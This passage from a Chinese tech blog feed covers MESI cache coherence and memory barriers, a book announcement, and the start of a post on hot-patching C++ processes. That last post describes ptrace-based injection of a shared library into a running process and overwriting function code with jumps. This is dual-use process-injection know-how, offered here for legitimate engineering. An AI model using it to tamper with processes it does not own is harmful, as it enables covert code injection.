&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;BusUpgr&lt;&#x2F;td&gt;&lt;td&gt;1. 状态从Shared转换为Invalid，已发送BusUpgr的缓存状态变为Modified(M)；2. 可以将FlushOpt和块的内容一起放在总线上（设计选择，哪个共享状态的缓存可以执行此操作）；&lt;&#x2F;td&gt;&lt;td&gt;对其他Shared(S)状态的缓存的PrWr操作，向总线发出了BusUpgr信号；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;BusRdX&lt;&#x2F;td&gt;&lt;td&gt;1. 状态从Shared转换为Invalid，已发送BusR的缓存状态变为Modified(M)；2. 可以将FlushOpt和块的内容一起放在总线上（设计选择，哪个共享状态的缓存可以执行此操作）；&lt;&#x2F;td&gt;&lt;td&gt;英文原文中没有这一项，但是我感觉这种情况是存在的：因为Shared和Invalid状态的缓存是可以共存的，此时对Invalid缓存的PrWr操作会使所有其他Shared缓存副本无效；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Modified(M)&lt;&#x2F;td&gt;&lt;td&gt;BusRd&lt;&#x2F;td&gt;&lt;td&gt;1. 状态由Modified转换为Shared；2.把FlushOpt和数据放在总线上。由BusRd的发送方和内存控制器接收，写入主内存；&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;BusRdX&lt;&#x2F;td&gt;&lt;td&gt;1. 状态从Modified转换为Invalid；2.把FlushOpt和数据放在总线上。由BusRdX的发送方和内存控制器接收，写入主内存；&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;仅当缓存行处于&lt;strong&gt;Modified&lt;&#x2F;strong&gt;或&lt;strong&gt;Exclusive&lt;&#x2F;strong&gt;状态时，才能自由执行写操作。如果缓存处于&lt;strong&gt;Shared&lt;&#x2F;strong&gt;(S)状态，则必须首先使所有其他缓存副本无效。这通常通过一种称为“请求所有权”（RFO，Request For Ownership）的广播操作来完成。&lt;&#x2F;p&gt;
&lt;p&gt;保存处于&lt;strong&gt;Modified&lt;&#x2F;strong&gt;状态的行的缓存 必须侦测（截获）对对应主存位置的所有尝试读取（来自系统中的所有其他缓存），并插入其保存的数据。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这可以通过强制读取退出（即稍后重试），然后将数据写入主内存并将缓存行更改为&lt;strong&gt;Shared&lt;&#x2F;strong&gt;状态来实现。&lt;&#x2F;li&gt;
&lt;li&gt;也可以通过将数据从Modified的缓存发送到执行读取的缓存来完成。
注意，只有读未命中时才需要监听（协议确保，如果任何其他缓存可以执行读命中，则Modified缓存将不存在）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;保存处于Shared状态的行的缓存必须侦听来自其他缓存的invalidate或request-for-ownership广播，并在匹配时丢弃该行（通过将其移动到无效状态）。&lt;&#x2F;p&gt;
&lt;p&gt;Modified状态和Exclusive状态总是精确的：即，它们与系统中真正的缓存行所有权情况相匹配。
Shared状态可能不精确：如果另一个缓存丢弃共享行，此缓存可能成为该缓存行的唯一所有者，但不会提升为独占状态。其他缓存在丢弃缓存行时不会广播通知，并且此缓存在不保留共享副本数的情况下无法使用此类通知。&lt;&#x2F;p&gt;
&lt;p&gt;从这个意义上说，Exclusive状态是一种机会主义优化：如果CPU想要修改处于Shared状态的缓存行，则需要一个总线事务来使所有其他缓存副本无效。状态Exclusive允许在没有总线事务的情况下修改缓存行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-3-cun-chu-huan-chong-qu-he-wu-xiao-dui-lie&quot;&gt;&lt;strong&gt;3.3 存储缓冲区和无效队列&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;MESI协议在其简单、直接的实现中表现出两个特殊的性能问题。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;首先，当写入无效缓存行时，从另一个CPU获取缓存行时会有很长的延迟。&lt;&#x2F;li&gt;
&lt;li&gt;其次，将缓存行移动到Invalid状态非常耗时。
为了减轻这些延迟，CPU实现&lt;strong&gt;存储缓冲区&lt;&#x2F;strong&gt;和&lt;strong&gt;无效队列&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-4-cun-chu-huan-chong-qu&quot;&gt;&lt;strong&gt;3.4 存储缓冲区&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;写入无效缓存行时使用存储缓冲区。由于写操作仍将继续，CPU会发出一条读无效消息（因此有问题的缓存行和存储该内存地址的所有其他CPU缓存行都将失效），然后将写操作推入存储缓冲区，在缓存行最终到达缓存时执行。&lt;&#x2F;p&gt;
&lt;p&gt;存储缓冲区存在的直接后果是，当CPU提交写操作时，该写操作不会立即写入缓存。因此，每当CPU需要读取缓存行时，它首先必须扫描自己的存储缓冲区，以确定是否存在相同的缓存行，因为有可能相同的缓存行以前由相同的CPU写入，但尚未写入缓存（前面的写入仍在存储缓冲区中等待）。请注意，虽然CPU可以读取其存储缓冲区中自己以前的写操作，但在将这些写操作从存储缓冲区刷新到缓存之前，其他CPU无法看到这些写操作-CPU无法扫描其他CPU的存储缓冲区。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-5-wu-xiao-dui-lie&quot;&gt;&lt;strong&gt;3.5 无效队列&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;关于无效消息，CPU实现了无效队列，通过该队列，刚收到的无效请求会立即得到确认，但实际上不会被执行。相反，无效消息只需进入一个无效队列，并尽快（但不一定立即）进行处理。因此，CPU可以忽略其缓存中的缓存线实际上无效的事实，因为无效队列包含已接收但尚未应用的无效。请注意，与存储缓冲区不同，CPU不能扫描无效队列，因为CPU和无效队列在物理上位于缓存的两侧。&lt;&#x2F;p&gt;
&lt;p&gt;因此，需要内存屏障。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;存储(写)屏障将刷新存储缓冲区，确保所有写操作都已应用于该CPU的缓存。&lt;&#x2F;li&gt;
&lt;li&gt;读屏障将刷新无效队列，从而确保其他CPU的所有写操作对刷新CPU可见。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;此外，内存管理单元不扫描存储缓冲区，导致类似问题。即使在单线程处理器中也可以看到这种效果。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Request-For-Ownership 广播
所有权读取（RFO）是缓存一致性协议中的一种操作，它结合了读取和无效广播。
该操作是由试图写入处于Shared或Invalid状态的缓存行的处理器发出的。该操作会导致所有其他缓存将该行的状态设置为Invalid。
所有权读取事务是一种旨在写入该内存地址的读取操作。因此，此操作是独占的。
它将数据带到缓存中，并使保存此内存行的所有其他处理器缓存失效。在上表中称为“&lt;strong&gt;BusRdX&lt;&#x2F;strong&gt;”。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;4-shi-li-yu-wen-ti&quot;&gt;&lt;strong&gt;4、示例与问题：&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;4-1-yin-ru-store-bufferhou-chu-xian-de-wen-ti-1&quot;&gt;&lt;strong&gt;4.1 引入store buffer后出现的问题1&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;试考虑如下代码，a和b的初始值为0&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;a = 1;
b = a + 1;
assert(b == 2);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;大致过程如下图所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;memory-barrier&#x2F;store-buffer-problem.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;a,b假设在内存中的同一个Cache Block中；&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 开始执行代码 &lt;code&gt;a = 1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 未命中 a 的缓存，处理器发出 PrWr 信号，同时将 BusRdX 信号放到总线上，使保存此缓存行的所有其他处理器的缓存失效&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 将写入操作保存在了存储缓冲区&lt;&#x2F;li&gt;
&lt;li&gt;因为其他处理器没有 a 的缓存行的副本，所以从主存中获取&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 现在开始执行 &lt;code&gt;b = a + 1&lt;&#x2F;code&gt; 了&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 从它的缓存中读取了 a ，值为 0，并用于计算。（此时，主存传输给Cache 0 的数据才刚刚到，还未来得及将存储缓冲区的写操作作用到缓存）&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 根据缓存中获取到的 a = 0，计算出了 b 的值为 1&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 根据存储缓冲区中的写操作，将 Cache 0 中的缓存行上 a 的值更新为 1&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 用 b = 1 修改了缓存块&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 执行 &lt;code&gt;assert(b == 2)&lt;&#x2F;code&gt;，结果为 false&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;出现问题的原因是我们有两份”a”的拷贝，一份在cache-line中，一份在store buffer中。硬件设计师的解决办法是“store forwarding”，当执行PrRr操作时，会同时从cache和store buffer里读取。也就是说，当进行一次PrRr操作，如果store-buffer里有该数据，则CPU会从store-buffer里直接取出数 据，而不经过cache。因为“store forwarding”是硬件实现，我们并不需要太关心。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-2-yin-ru-store-bufferhou-chu-xian-de-wen-ti-2&quot;&gt;&lt;strong&gt;4.2 引入store buffer后出现的问题2&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;假如我们让CPU 0 执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;void flag(void) {
  a = 1;
  b = 1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;让 CPU 1 执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;void judge(void) {
  while (b = 0) continue;
  assert(a == 1);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;memory-barrier&#x2F;store-buffer-stale-read-problem.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;CPU 0 执行&lt;code&gt;a = 1&lt;&#x2F;code&gt;。缓存行不在CPU0的缓存中，CPU0处理器进行PrWr操作，并将“a”的新值放到存储缓冲区，与此同时发送一个“BusRdX”消息，使保存此内存行的所有其他处理器缓存失效，个人感觉在没有引入Invalidation Queue的情况下，这里应该是阻塞等待响应的，但是因为CPU 1 此时没有缓存副本，所以不会有任何实际的操作，直接返回ACK即可，CPU 0 最终从内存中获取包含“a”的值的缓存行；&lt;&#x2F;li&gt;
&lt;li&gt;CPU 1 执行&lt;code&gt;while (b == 0) continue&lt;&#x2F;code&gt;，但是包含“b”的缓存行不在缓存中，它发送一个PrRr消息，并将BusRd放到总线上；&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 执行&lt;code&gt;b = 1&lt;&#x2F;code&gt;，它已经在缓存行中有“b”的值了(换句话说，缓存行已经处于“modified”或者“exclusive”状态)，因此它存储新的“b”值在它的缓存行中；&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 接收到BusRd消息，并且发送FlushOpt带着缓存行中的最新的“b”的值到总线上，同时将缓存行设置为“shared”状态；&lt;&#x2F;li&gt;
&lt;li&gt;CPU 1 接收到包含“b”值的缓存行，并将其值写到它的缓存行中，内存控制器也接收到“b”值的缓存行，更新内存块；&lt;&#x2F;li&gt;
&lt;li&gt;CPU 1 现在结束执行&lt;code&gt;while (b == 0) continue&lt;&#x2F;code&gt;，因为它发现“b”的值是1，它开始处理下一条语句。&lt;&#x2F;li&gt;
&lt;li&gt;CPU 1 执行&lt;code&gt;assert(a == 1)&lt;&#x2F;code&gt;，并且，由于CPU 1 工作在旧的“a”的值，因此验证失败。&lt;&#x2F;li&gt;
&lt;li&gt;CPU 0 把存储缓冲区的“a”的值写入到它的缓存 Cache 0 中，个人感觉这个地方可以再次修改缓存行为“Modified”状态，并再次发送“BusRdX”消息到总线，使保存此内存行的所有其他处理器缓存失效，（但是这里我没查阅资料，如果讲得不对，欢迎指正）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;总而言之，可能出现这类情况，b已经赋值了，但是a还没有，所以出现了&lt;code&gt;b = 1, a = 0&lt;&#x2F;code&gt;的情况。对于这类问题，硬件设计者也爱莫能助，因为CPU无法知道变量之间的关联关系。所以硬件设计者提供了&lt;code&gt;memory barrier&lt;&#x2F;code&gt;指令，让软件来告诉CPU这类关系&lt;&#x2F;p&gt;
&lt;p&gt;解决办法是：使用硬件设计者提供的“内存屏障”来修改代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;void foo(void)
{
    a = 1;
    smp_mb();&amp;#x2F;&amp;#x2F; 强制刷新store-buffer，再继续进行后面的赋值
    b = 1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-3-invalidate-queuede-yin-ru&quot;&gt;&lt;strong&gt;4.3 Invalidate Queue的引入&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;store buffer一般很小，所以CPU执行几个store操作就会填满, 这时候CPU必须等待invalidation ACK消息（得到invalidation ACK消息后会将storebuffer中的数据存储到cache中，然后将其从store buffer中移除），来释放store buffer缓冲区空间。&lt;&#x2F;p&gt;
&lt;p&gt;“Invalidation ACK”消息需要如此长的时间，其原因之一是它们必须确保相应的缓存行实际变成无效了。如果缓存比较忙的话，这个使无效操作可能被延迟。例如，如果CPU密集的装载或者存储数据，并且这些数据都在缓存中。另外，如果在一个较短的时间内，大量的“使无效”消息到达，一个特定的CPU会忙于处理它们。这会使得其他CPU陷于停顿。但是，在发送应答前，CPU 不必真正的使无效缓存行。它可以将使无效消息排队。并且它明白，在发送更多的关于该缓存行的消息前，需要处理这个消息。&lt;&#x2F;p&gt;
&lt;p&gt;一个带Invalidation Queue的CPU可以迅速应答一个Invalidation Ack消息，而不必等待相应的行真正变成无效状态。于是乎出现了下面的组织架构：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;memory-barrier&#x2F;invalidation-queue-architecture.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这样可以提高效率，但是仍然无法避免&lt;code&gt;4.2 引入store buffer后出现的问题2&lt;&#x2F;code&gt; 中存在的问题。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;CPU0执行&lt;code&gt;a=1&lt;&#x2F;code&gt;。因为cache-line是shared状态，所以新值放到store-buffer里，并传递invalidate消息来通知CPU1&lt;&#x2F;li&gt;
&lt;li&gt;CPU1执行 while(b==0) continue;但是b不再CPU1-cache中，所以发送read消息&lt;&#x2F;li&gt;
&lt;li&gt;CPU1接受到CPU0的invalidate消息，将其排队，然后返回ACK消息&lt;&#x2F;li&gt;
&lt;li&gt;CPU0接收到来自CPU1的ACK消息，然后执行smp_mb()，将a从store-buffer移到cache-line中。（内存屏蔽在此处生效了）&lt;&#x2F;li&gt;
&lt;li&gt;CPU0执行b=1;因为已经包含了该cache-line，所以将b的新值写入cache-line&lt;&#x2F;li&gt;
&lt;li&gt;CPU0接收到了read消息，于是传递包含b新值的cache-line给CPU1，并标记为shared状态&lt;&#x2F;li&gt;
&lt;li&gt;CPU1接收到包含b的cache-line&lt;&#x2F;li&gt;
&lt;li&gt;CPU1继续执行while(b==0) continue;因为为假所以进行下一个语句&lt;&#x2F;li&gt;
&lt;li&gt;CPU1执行assert(a==1)，因为a的旧值依然在CPU1-cache中，断言失败&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;尽管断言失败了，但是CPU1还是处理了队列中的invalidate消息，并真的invalidate了包含a的cache-line，但是为时已晚&lt;&#x2F;p&gt;
&lt;p&gt;出现问题的原因是，当CPU排队某个invalidate消息后，并做错了应答Invalidate Ack, 但是在它还没有处理这个消息之前，就再次读取了位于cache中的数据，该数据此时本应该已经失效，但由于未处理invalidate消息导致使用错误。&lt;&#x2F;p&gt;
&lt;p&gt;解决方法是在bar()中也增加一个memory barrier：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;void bar(void)
{
    while (b == 0) continue;
    smp_mb();
    assert(a == 1);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;综上所述，smp_mb();既可以用来处理storebuffer中的数据，也可以用来处理Invalidation Queue中的Invalid消息。
实际上，memory barrier确实可以细分为“write memory barrier(wmb)”和“read memory barrier(rmb)”。rmb只处理Invalidate Queues，wmb只处理store buffer。&lt;&#x2F;p&gt;
&lt;p&gt;代码最终修改为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;void foo(void)
{
    a = 1;
    smp_wmb();&amp;#x2F;*CPU1要使用该值，因此需要及时更新处理store buffer中的数据*&amp;#x2F;
    b = 1;
}
void bar(void)

{

while (b == 0) continue;

smp_rmb();&amp;#x2F;由于CPU0修改了a值，使用此值时及时处理Invalidation Queue中的消息&amp;#x2F;

assert(a == 1);

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原文地址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.cnblogs.com&#x2F;peifx&#x2F;p&#x2F;16206963.html%23top&quot;&gt;https:&#x2F;&#x2F;www.&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.cnblogs.com&#x2F;peifx&#x2F;p&#x2F;16206963.html%23top&quot;&gt;cnblogs.com&#x2F;peifx&#x2F;p&#x2F;162&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.cnblogs.com&#x2F;peifx&#x2F;p&#x2F;16206963.html%23top&quot;&gt;06963.html#top&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>高效CC++调试</title>
        <published>2024-01-24T00:00:00+00:00</published>
        <updated>2024-01-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/高效cc-调试/"/>
        <id>https://vercel.juzhong.asia/obsidian/高效cc-调试/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/高效cc-调试/">&lt;h1 id=&quot;gao-xiao-cc-diao-shi&quot;&gt;高效CC++调试&lt;&#x2F;h1&gt;
&lt;p&gt;关注我的朋友可能会发现，我一开始分享的内容大部分是关于C++的。这是因为我一开始毕业工作的时候，做的是C++后端开发工作。在这个过程中积累了许多经验，也向很多优秀的人身上学习。&lt;&#x2F;p&gt;
&lt;p&gt;我之前写过的文章或者回答，下面是赞比较多的（一千赞到一两百赞）。这些是我个人的实际经验和思考（站在巨人的肩膀上）。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;152274203&quot;&gt;CrackingOysters：你还在用GDB调试程序吗？&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;374392832&quot;&gt;CrackingOysters：什么是move？理解C++ Value categories，move， move in Rust&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;444389626&quot;&gt;CrackingOysters：两大绝招debug core dump？&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;368962727&quot;&gt;CrackingOysters：如何阅读简单的汇编（持续更新)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;237952115&quot;&gt;CrackingOysters：The Coroutine in C++ 20 协程初探&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;264855981&quot;&gt;CrackingOysters：RAII:如何编写没有内存泄漏的代码 with C++&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当清华大学出版社的编辑联系我有没有兴趣写书的时候。我知道自己距离写书还有一定的距离。但是我想到了之前在美国带我的大牛和他的高效调试的书稿。于是我联系他，想在他书稿之上我添加一些内容，合作出一本书。他欣然同意了！（他的书稿之前我在这里提到过 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;543188936&quot;&gt;CrackingOysters：Effective Debugging 引言&lt;&#x2F;a&gt;。）&lt;&#x2F;p&gt;
&lt;p&gt;经过我们的努力，《高效C&#x2F;C++调试》出版了！本书旨在探讨系统性调试的方法论和思维方式，主要聚焦于C&#x2F;C++。但是大部分原理是与具体语言无关。最近我主要写NodeJS大语言模型应用和Python算法，但是我在调试这些程序的时候，还是用到了调试符号和远程调试的思维方式。&lt;&#x2F;p&gt;
&lt;p&gt;样章请看：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;Celthi&#x2F;effective_c_cpp&#x2F;blob&#x2F;main&#x2F;%25E9%25AB%2598%25E6%2595%2588C%252BC%252B%252B%25E8%25B0%2583%25E8%25AF%2595%25E6%25A0%25B7%25E7%25AB%25A01%25269.pdf&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;Celthi&#x2F;effective_c_cpp&#x2F;blob&#x2F;main&#x2F;%25E9%25AB%2598%25E6%2595%2588C%252BC%252B%252B%25E8%25B0%2583%25E8%25AF%2595%25E6%25A0%25B7%25E7%25AB%25A01%25269.pdf&quot;&gt;github.com&#x2F;Celthi&#x2F;effec&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;Celthi&#x2F;effective_c_cpp&#x2F;blob&#x2F;main&#x2F;%25E9%25AB%2598%25E6%2595%2588C%252BC%252B%252B%25E8%25B0%2583%25E8%25AF%2595%25E6%25A0%25B7%25E7%25AB%25A01%25269.pdf&quot;&gt;tive_c_cpp&#x2F;blob&#x2F;main&#x2F;%E9%AB%98%E6%95%88C%2BC%2B%2B%E8%B0%83%E8%AF%95%E6%A0%B7%E7%AB%A01%269.pdf&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;欢迎大家斧正！（我也在想是否要建立一个微信群，用于交流学习。如果感兴趣，欢迎加入。）&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>深入了解C++的So动态更新</title>
        <published>2024-01-19T00:00:00+00:00</published>
        <updated>2024-01-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/深入了解c-的so动态更新/"/>
        <id>https://vercel.juzhong.asia/obsidian/深入了解c-的so动态更新/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/深入了解c-的so动态更新/">&lt;h1 id=&quot;shen-ru-liao-jie-c-de-sodong-tai-geng-xin&quot;&gt;深入了解C++的So动态更新&lt;&#x2F;h1&gt;
&lt;p&gt;深入了解C++的So动态更新！今天我将与大家分享，作为鹅厂后台开发工程师的经验，我们正在研究基于So动态链接库的C++进程热更新方案。热更新是在程序运行时修复内存中的代码错误，而无需终止程序运行的技术。主题包括技术探索、相关知识回顾、So热更的基本原理以及热更方式的演示等方面的知识点。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;c9ef31ceacd64468ba15afd1a7dd2ea5tplv-obj10801439-20240119102458-y5x0hnp.image&lt;&#x2F;code&gt;，已移除）&amp;gt; 📄 [图片文字版] ptrace 控制目标进程：ATTACH 使 tracee 停止；SETREGS 改寄存器、CONT 恢复运行。原型 ptrace(request, pid, addr, data)。参数：TRACEME 被追踪；PEEKTEXT&#x2F;PEEKDATA 读一字；POKETEXT&#x2F;POKEDATA 写一字；PEEK&#x2F;POKEUSER 用户区读写；GETREGS&#x2F;SETREGS 读写寄存器；ATTACH 追踪并停止；CONT 恢复（data 非空作信号）；DETACH 脱离。&amp;gt; 📄 [图片文字版] 找 so 函数地址：读 &#x2F;proc&#x2F;pid&#x2F;maps 或 pmap -p 8031。系统 so 的 section 全加载可访问、普通 so 才可 open。Func 查找：读 Ehdr → 按 e_shnum 读 section 数组 → e_shstrndx 找名字表 → 定位 .dynsym&#x2F;.dynstr&#x2F;.rela.plt 等；已访问：从 .dynsym 按名找 st_value；未访问：.rela.plt 取条目，地址=ELF 起始+r_offset。&amp;gt; 📄 [图片文字版] 访问目标进程寄存器与内存：GETREGS 读通用寄存器到 data，SETREGS 用 data 修改。x86-64：rdi&#x2F;rsi&#x2F;rdx&#x2F;rcx&#x2F;r8&#x2F;r9 传前 6 参、rax 为返回值。内存读写用 PEEKTEXT&#x2F;POKETEXT 或 process_vm_readv&#x2F;writev。执行指令：Save 源寄存器和内存 → 改成目标所需 → PTRACE_CONT 执行 → trap 后还原。例 mmap：rax=9、rdi~r9 依次填参、rip 指向 glibc 起始地址执行。&amp;gt; 📄 [图片文字版] 注入 so：调 dlopen(pathname, mode)。步骤：找 __libc_dlopen_mode 地址 → 填寄存器和内存指令 → 执行 callq *%rax。“鸡和蛋”：pathname 要内存而分配内存的指令也要占内存——借系统 so 内存中 ELF 头 8 字节存指令。流程：按 so 名&#x2F;长度估内存 → save 寄存器执行 mmap → 返回地址写 so 名 → 调 __libc_dlopen_mode → 取 handle → write 回寄存器恢复现场。&amp;gt; 📄 [图片文字版] 确定待改函数入口：已被调用过——.got 存真实地址，.dynsym 可查符号，其地址即入口；未调用过——先跳 .plt 桩再到 .got.plt 条目，首次调用条目存解析地址，动态链接器查 .rela.plt 后转交对应库，函数地址 = .rela.plt 的 r_offset + ELF 起始地址。再把旧函数 TEXT 段改为跳新函数指令（截图为 MoveR 函数 prologue 反汇编）。&amp;gt; 📄 [图片文字版] 按新老地址偏移选指令：iCheckOffset = abs(新地址 − (旧地址+5))，为 jmp+4 字节 offset 留位；近距离 [jmp offset]，远距离 [movabs funcaddr,%rax; jmp *%rax]。原子性方案1：待热更函数若正在执行则停止热更——按 rip&#x2F;rbp 遍历调用栈（FillCallerStack 读栈帧），若栈中 addr 落在替换代码范围内则终止本次热更。&amp;gt; 📄 [图片文字版] 原子性方案2：提前插桩。gcc -pg 在函数开头插入 call mcount()（5 字节，原用于调用统计），借其实现原子补丁。示例 testA：push %rbp; mov %rsp,%rbp; callq mcount@plt; …; retq。覆盖规则：jmp 正好 5 字节，直接覆盖 mcount 即原子；超 32 